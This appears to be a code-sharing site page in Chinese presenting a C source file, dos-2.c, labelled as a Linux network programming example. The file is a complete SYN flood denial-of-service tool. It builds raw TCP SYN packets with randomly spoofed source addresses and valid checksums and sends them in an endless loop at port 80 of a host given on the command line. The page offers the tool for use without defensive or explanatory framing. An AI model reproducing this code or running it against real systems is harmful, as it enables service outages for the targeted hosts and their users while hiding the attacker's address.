⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dos-2.c

📁 一个linux网络开发的示例
💻 C
字号:
#include "sys/socket.h"#include "netinet/in.h"#include "netinet/ip.h"#include "netinet/tcp.h"#include <string.h>#include "stdlib.h"#include "errno.h"#include "unistd.h"#include "stdio.h"#include "netdb.h" #define DESTPORT 80#define DSTPORT 5183 struct prseuheader{	unsigned long s_addr;	unsigned long d_addr;	unsigned char zero;	unsigned char prototp;	unsigned short len;};void send_tcp(int sockfd, struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr, int len); int main(int argc, char **argv){	int sockfd;	struct sockaddr_in addr;	struct hostent *host;	int on = 1; 	if (argc != 2) 	{		fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);		exit(1);	}	bzero(&addr, sizeof(struct sockaddr_in));	addr.sin_family = AF_INET;	addr.sin_port = htons(DESTPORT); 	if (inet_aton(argv[1], &addr.sin_addr) == 0)	{		host = gethostbyname(argv[1]);		if (host == NULL) 		{			fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));			exit(1);		}		addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);	} 	sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);	if (sockfd < 0) 	{		fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));		exit(1);	} 	setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));	setuid(getpid());	send_tcp(sockfd, &addr);	return 0;} void send_tcp(int sockfd, struct sockaddr_in *addr){	char buffer[100];	char tcpbuff[32];	struct ip *ip;	struct tcphdr *tcp;	struct prseuheader theheader;	int head_len; 	head_len = sizeof(struct ip) + sizeof(struct tcphdr);	memset((void*)buffer,'\0',100) ;	ip = (struct ip *) buffer;	ip->ip_v = IPVERSION;	ip->ip_hl = sizeof(struct ip) >> 2;	ip->ip_tos = 0;	ip->ip_len = htons(head_len);	ip->ip_id = 0;	ip->ip_off = 0;	ip->ip_ttl = MAXTTL;	ip->ip_p = IPPROTO_TCP;	ip->ip_sum = 0;	ip->ip_dst = addr->sin_addr; 	tcp = (struct tcphdr *) (buffer + sizeof(struct ip));	tcp->source = htons(DSTPORT);	tcp->dest = addr->sin_port;	tcp->seq = random();	tcp->ack_seq = 0;	tcp->doff = 5;	tcp->syn = 1;	tcp->check = 0; 	while (1)	{		ip->ip_src.s_addr = random();		// 填充伪头部		theheader.s_addr = ip->ip_src.s_addr;		theheader.d_addr = ip->ip_dst.s_addr;		theheader.zero = 0;		theheader.prototp = IPPROTO_TCP;		theheader.len = htons(20);		memset((void*)tcpbuff,'\0',32);		memcpy(tcpbuff,&theheader,12);		memcpy(tcpbuff+12,tcp,20);		// tcp的校验和必须计算伪头部		tcp->check = check_sum((unsigned short *) tcpbuff, 32);		sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));		usleep(1);	}}unsigned short check_sum(unsigned short *buffer, int size){	unsigned long cksum = 0;	while(size>1)	{		cksum += *buffer++;		size -= sizeof(unsigned short);	}	if(size)	{		cksum += *(unsigned char*)buffer;	}	cksum = (cksum>>16) + (cksum&0xffff); 	cksum += (cksum>>16);	return (unsigned short)(~cksum);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -